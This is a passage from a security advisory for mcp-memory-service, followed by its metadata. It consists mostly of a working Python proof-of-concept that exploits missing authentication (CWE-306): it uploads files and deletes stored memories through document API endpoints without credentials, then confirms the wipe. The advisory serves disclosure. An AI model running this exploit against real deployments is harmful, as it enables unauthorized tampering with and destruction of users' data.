b\"--\\r\\n\",\n ])\n\n\n# \u2500\u2500\u2500 individual test steps \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef step_memories_no_auth(host, port):\n \"\"\"GET /api/memories without auth must return 401.\"\"\"\n print(\"[STEP 1] GET /api/memories (no auth \u2014 expect 401)\", flush=True)\n status, body = http_req(host, port, \"GET\", \"/api/memories\")\n ok = (status == 401)\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status}\", flush=True)\n return ok, status\n\n\ndef step_store_memory_with_auth(host, port, api_key):\n \"\"\"POST /api/memories with API key \u2014 store a \u0027legitimate\u0027 memory.\"\"\"\n print(f\"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})\", flush=True)\n payload = json.dumps({\n \"content\": f\"Sensitive memory \u2014 {MARKER}\",\n \"tags\": [TARGET_TAG, \"vuln001-demo\"],\n \"memory_type\": \"observation\",\n \"metadata\": {\"poc\": \"VULN-001\"}\n }).encode()\n headers = {\n \"Content-Type\": \"application/json\",\n \"Content-Length\": str(len(payload)),\n \"X-API-Key\": api_key,\n }\n status, body = http_req(host, port, \"POST\", \"/api/memories\", payload, headers)\n ok = status in (200, 201)\n content_hash = None\n try:\n content_hash = json.loads(body).get(\"content_hash\")\n except Exception:\n pass\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status} hash={content_hash}\", flush=True)\n if not ok:\n print(f\" body: {body[:300]}\", flush=True)\n return ok, status, content_hash\n\n\ndef step_verify_memory_exists(host, port, api_key):\n \"\"\"GET /api/memories with auth \u2014 confirm the memory is stored.\"\"\"\n print(\"[STEP 3] GET /api/memories (with API key \u2014 confirm data exists)\", flush=True)\n headers = {\"X-API-Key\": api_key}\n status, body = http_req(host, port, \"GET\", f\"/api/memories?tags={TARGET_TAG}\", headers=headers)\n ok = status == 200\n count = 0\n try:\n data = json.loads(body)\n count = data.get(\"total\", len(data.get(\"memories\", [])))\n except Exception:\n pass\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status} memories_found={count}\", flush=True)\n return ok, status, count\n\n\ndef step_upload_no_auth(host, port):\n \"\"\"POST /api/documents/upload without any credentials \u2014 should return 200.\"\"\"\n print(\"[STEP 4] POST /api/documents/upload (NO auth \u2014 expect 200)\", flush=True)\n boundary = \"PocBoundary\" + uuid.uuid4().hex\n payload = f\"EVIDENCE: {MARKER}\\nUploaded without authentication \u2014 VULN-001.\\n\".encode()\n body = build_multipart(boundary, \"poc_vuln001.txt\", payload, \"poc-evidence,vuln001-demo\")\n headers = {\n \"Content-Type\": f\"multipart/form-data; boundary={boundary}\",\n \"Content-Length\": str(len(body)),\n }\n status, resp = http_req(host, port, \"POST\", \"/api/documents/upload\", body, headers)\n upload_id = None\n try:\n upload_id = json.loads(resp).get(\"upload_id\")\n except Exception:\n pass\n ok = status == 200 and upload_id is not None\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status} upload_id={upload_id}\", flush=True)\n if not ok:\n print(f\" body: {resp[:300]}\", flush=True)\n return ok, status, upload_id\n\n\ndef step_delete_no_auth(host, port):\n \"\"\"DELETE /api/documents/remove-by-tags without auth \u2014 should return 200.\"\"\"\n print(f\"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})\", flush=True)\n # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)\n body = json.dumps([TARGET_TAG, \"vuln001-demo\"]).encode()\n headers = {\n \"Content-Type\": \"application/json\",\n \"Content-Length\": str(len(body)),\n }\n status, resp = http_req(\n host, port, \"DELETE\", \"/api/documents/remove-by-tags\",\n body=body, headers=headers\n )\n ok = status == 200\n deleted = 0\n try:\n deleted = json.loads(resp).get(\"memories_deleted\", 0)\n except Exception:\n pass\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status} memories_deleted={deleted}\", flush=True)\n if not ok:\n print(f\" body: {resp[:300]}\", flush=True)\n return ok, status, deleted\n\n\ndef step_verify_memory_gone(host, port, api_key):\n \"\"\"GET /api/memories with auth \u2014 confirm attacker wiped the data.\"\"\"\n print(\"[STEP 6] GET /api/memories (with API key \u2014 verify data was deleted)\", flush=True)\n headers = {\"X-API-Key\": api_key}\n status, body = http_req(host, port, \"GET\", f\"/api/memories?tags={TARGET_TAG}\", headers=headers)\n ok = status == 200\n count = 0\n try:\n data = json.loads(body)\n count = data.get(\"total\", len(data.get(\"memories\", [])))\n except Exception:\n pass\n data_deleted = (ok and count == 0)\n print(f\" {\u0027PASS\u0027 if data_deleted else \u0027NOTE\u0027} HTTP {status} memories_remaining={count}\", flush=True)\n if data_deleted:\n print(\" [+] Memory wiped by unauthenticated attacker \u2014 integrity impact confirmed!\", flush=True)\n return ok, status, count\n\n\n# \u2500\u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n ap = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 CWE-306 auth bypass\")\n ap.add_argument(\"--host\", default=\"127.0.0.1\")\n ap.add_argument(\"--port\", type=int, default=8000)\n ap.add_argument(\"--api-key\", default=\"poc-secret-key-12345\",\n help=\"API key configured on the server (simulates legitimate user)\")\n args = ap.parse_args()\n\n print(\"=\" * 65)\n print(\"VULN-001 Missing Authentication on Document API Endpoints\")\n print(\"CWE-306 / CVSS 9.8 (Critical)\")\n print(\"=\" * 65 + \"\\n\")\n\n if not wait_ready(args.host, args.port):\n print(\"[-] Server did not become ready\", flush=True)\n sys.exit(2)\n\n r = {}\n\n # Step 1 \u2014 baseline: auth IS enforced on /api/memories\n ok1, s1 = step_memories_no_auth(args.host, args.port)\n r[\"step1_auth_guard_active\"] = {\n \"pass\": ok1,\n \"evidence\": f\"GET /api/memories (no auth) \u2192 HTTP {s1}\"\n }\n\n # Step 2 \u2014 legitimate user stores a sensitive memory\n ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)\n r[\"step2_legitimate_write\"] = {\n \"pass\": ok2,\n \"evidence\": f\"POST /api/memories (with API key) \u2192 HTTP {s2}\"\n }\n\n # Step 3 \u2014 confirm memory exists\n ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)\n r[\"step3_data_present\"] = {\n \"pass\": ok3 and mem_count \u003e 0,\n \"evidence\": f\"GET /api/memories (with API key) \u2192 HTTP {s3}, count={mem_count}\"\n }\n\n # Step 4 \u2014 attacker uploads without auth (WRITE bypass)\n ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)\n r[\"step4_upload_auth_bypass\"] = {\n \"pass\": ok4,\n \"evidence\": f\"POST /api/documents/upload (NO auth) \u2192 HTTP {s4}\"\n }\n\n # Step 5 \u2014 attacker deletes WITHOUT auth (DELETE bypass)\n ok5, s5, deleted = step_delete_no_auth(args.host, args.port)\n r[\"step5_delete_auth_bypass\"] = {\n \"pass\": ok5,\n \"evidence\": f\"DELETE /api/documents/remove-by-tags (NO auth) \u2192 HTTP {s5}, deleted={deleted}\"\n }\n\n # Step 6 \u2014 verify legitimate data is gone\n ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)\n r[\"step6_integrity_impact\"] = {\n \"pass\": ok6 and remaining == 0,\n \"evidence\": f\"GET /api/memories (with API key) after attack \u2192 count={remaining} (was {mem_count})\"\n }\n\n print(\"\\n\" + \"=\" * 65)\n print(\"RESULTS SUMMARY\")\n print(\"=\" * 65)\n for k, v in r.items():\n sym = \"PASS\" if v[\"pass\"] else \"FAIL\"\n print(f\" [{sym}] {v[\u0027evidence\u0027]}\", flush=True)\n\n # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth\n bypass_proven = ok1 and ok4\n delete_bypass = ok1 and ok5\n\n print(\"\\nKey evidence:\")\n print(f\" Auth guard ACTIVE : GET /api/memories (no auth) \u2192 HTTP {s1}\")\n print(f\" Write BYPASS : POST /api/documents/upload (no auth) \u2192 HTTP {s4}\")\n print(f\" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) \u2192 HTTP {s5}\")\n\n overall = \"PASS \u2013 auth bypass confirmed\" if (bypass_proven or delete_bypass) else \"FAIL\"\n print(f\"\\nVerdict: {overall}\")\n print(\"=\" * 65)\n sys.exit(0 if (bypass_proven or delete_bypass) else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
  "id": "GHSA-84hp-mqvj-3p8h",
  "modified": "2026-07-02T15:26:23Z",
  "published": "2026-07-02T15:26:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-84hp-mqvj-3p8h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/doobidoo/mcp-memory-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.